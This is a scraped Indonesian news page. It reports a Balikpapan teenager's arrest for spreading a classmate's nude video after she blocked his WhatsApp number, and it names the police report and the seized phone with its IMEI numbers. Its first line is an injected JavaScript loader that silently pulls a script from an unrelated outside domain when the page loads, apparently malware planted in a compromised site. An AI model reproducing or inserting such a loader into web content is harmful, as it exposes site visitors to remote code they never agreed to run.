(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Sakit Hati Nomor WhatsApp Diblokir, ABG di Balikpapan Sebar Video Asusila Temannya


KANALKALIMANTAN.COM, BALIKPAPAN – Perbuatan tak terpuji yang satu ini memang cukup miris. Pasalnya kejadian kriminal ini dilakukan oleh anak di bawah umur, yakni menyebarkan video bugil temannya lantaran nomor WhatsApp pribadinya dibloki sang korban.

Akibatnya, pelajar berinisial DR (16) kini harus berurusan dengan polisi.
Dia diduga sengaja menyebarkan video tanpa busana temannya, berinisial DSN yang berusia 17 tahun. Mirisnya, video tersebut kemudian dilabeli PSK.

Lantaran tidak terima dengan penyebaran video tersebut, korban yang masih berstatus pelajar melaporkan warga Balikpapan Barat itu ke Polresta Balikpapan.

Baca juga: Humas Polri Stempel Hoax Berita Terkonfirmasi, AJI: Bungkam Kebebasan Pers!

 

Dalam prosesnya, aduan yang dibuat pada Senin (6/7/2021) tertuang dalam laporan polisi:

LP/B/206/VII/2021/SPKT.SATRESKRIM/POLRESTA BALIKPAPAN/POLDA KALTIM, ditindaklanjuti petugas.
Petugas kemudian menangkap tersangka dan melakukan pemeriksaan motif pelaku menyebarkan video tanpa busana itu.

Dari hasil pemeriksaan yang dilakukan, pelaku mengaku sakit hati terhadap korban.

“Lantaran pelaku sakit hati nomor whatsapp nya di block oleh korban sehingga tidak bisa komunikasi kembali dengan korban,” seperti rilis yang diterima Inibalikpapan.com -jaringan Suara.com pada Kamis (8/7/2021).

Baca juga: Puluhan Kafe di Banjarbaru Tak Berizin, Pelaku Usaha Dikumpulkan

Dari pelaku, petugas menyita sejumlah barang bukti, yakni satu unit handphone Merk VIVO 1820 warna hitam biru dengan nomor imei 1 : 862516046980555, imei 2 : 862516046980548 yang digunakan pelaku.

Selain itu, juga tiga lembar tangkapan layar video korban yang telah disebar luas oleh pelaku.

Polisi kemudian menjerat pelaku dengan Undang-undang Nomor 11 tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE) terkait tindak pidana pornografi dan perbuatan asusila melalui media elektronik. (Suara.com)

Editor : kk


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

11 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.